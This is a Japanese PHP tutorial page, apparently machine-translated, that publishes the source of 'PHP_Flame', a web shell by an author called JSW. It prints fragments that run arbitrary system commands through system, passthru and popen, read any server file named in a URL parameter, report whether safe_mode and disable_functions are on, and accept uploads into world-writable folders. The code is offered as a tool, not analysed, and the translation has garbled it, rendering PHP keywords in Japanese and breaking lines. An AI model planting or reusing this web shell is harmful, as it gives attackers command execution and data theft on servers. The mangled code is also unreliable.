ホームページ >バックエンド開発 >PHPチュートリアル >PHP_Flame(Version:Progress)_PHPチュートリアルのオリジナルコード
私
PHP_Flame に関するいくつかの情報 (バージョン: 進捗):
*ファイルをダウンロードできないバグを修正しました
*前のレベルに戻れないバグを修正しました
*コード編集のエラーのバグを修正しました
.....
*PHPINFOの機能を追加
*複数ファイルのダウンロード機能を追加
*システムコマンドを実行する機能を追加
*コード閲覧機能を追加
*サーバーセキュリティ検出機能を追加
..
※美化作品も多数あります。 。 。 。 。 。
関連情報:
1.上位レベルに戻れないバグコードを修正しました:
echo "上位レベルに戻る"; 。ファイルをダウンロードできない関連コードを修正しました:
case "download":
if (!@is_file($_GET['file_name']))
echo "ダウンロードしたいファイルが存在しません"
$filename = Basename ($ _GET['file_name']);
$filename_info =explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1]; x- '.$fileext);
header('Content-Disposition:attachment; filename='.$filename);
header('Content-Description:PHP3 Generated Data');
readfile($_GET['file_name']) );
休憩
3.コード表示機能を追加
","//textarea>",$tem); 。 。 。 。
$tem= str_replace("//textarea>","/textarea>",$tem);
5.サーバーセキュリティ検出機能を追加しました:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions") ;
if ($dis_func=="")
{
echo("値なし")
else
$ dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
6.実行システムのコマンド部分の代コード:
if ($actionaa=="cmd") { ?>
<ボディ bgcolor="#6595d6">
<フォーム名="form1" メソッド="post" アクション="= $PHP_SELF ?>?actionaa=cmd">
<名前="メソッド" を選択>
<オプション値="システム" if ($method=="システム") { echo "選択"; } ?>>システムオプション>
<オプション値="パススルー" if ($method=="パススルー") { echo "選択済み"; } ?>>パススルー
フォーム>
if (!$method) { $method="システム"; }
if (!$cmd) {
echo "* JSW の PHP FLAME
";
echo "* 著者: JSW
";
echo "*safe_mode:";if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("値なし");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}
echo "
* 次に、関数を選択してコマンドを入力してください....";
}
echo ""; <br>if ($method=="システム") { <br>システム("$cmd 2>>&1"); <br>} <br>if ($method=="パススルー") { <br>パススルー("$cmd 2>>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$filen"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="brush:php;toolbar:false">"; <br>//エコー show_source($file); <br>//エコー "
";
} else {
echo "<script>alert("ファイルを読み取れません: $file using: show_source"); </script>";
}
}
if ($method=="popen") {
$pp = Popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
エコー $read;
pclose($pp);
}
echo "";
終了;
}
?>
7。追加文件上ダウンロードの代:
if($dir=="")
$dir="./";
?>
if($tools==upload)
{
for($i=1;$i{
$temp1="userfile".$i;
$temp2="ユーザーファイル".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传
";
}
else
echo $source_name."请重新上传!
";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传
";
}
}
}//end for
echo"
;